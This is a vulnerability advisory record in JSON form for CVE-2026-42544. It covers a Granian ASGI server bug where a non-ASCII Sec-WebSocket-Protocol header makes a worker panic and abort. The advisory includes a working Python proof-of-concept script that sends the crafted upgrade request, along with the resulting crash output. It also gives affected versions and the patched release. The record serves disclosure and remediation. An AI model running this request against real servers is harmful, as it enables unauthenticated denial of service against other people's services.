{"id":"CVE-2026-42544","aliases":["GHSA-vrg7-482j-p6f6","PYSEC-2026-2503"],"title":"Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic","summary":"Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"granian","product":"granian","ecosystem":"pip","affected":["granian >= 1.2.0, < 2.7.4"],"patched":["granian 2.7.4"],"published":"2026-05-06","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:07.235904546Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vrg7-482j-p6f6","references":[{"url":"https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42544"},{"url":"https://github.com/emmett-framework/granian"}],"tags":["osv","pip"],"epss":0.00324,"epssPercentile":0.25614,"ingestedAt":"2026-07-13T18:58:03.816Z","slug":"CVE-2026-42544","body":"## Overview\n\n### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread '<unnamed>' panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue\n\n## Affected packages\n\n- `granian >= 1.2.0, < 2.7.4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `granian 2.7.4`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}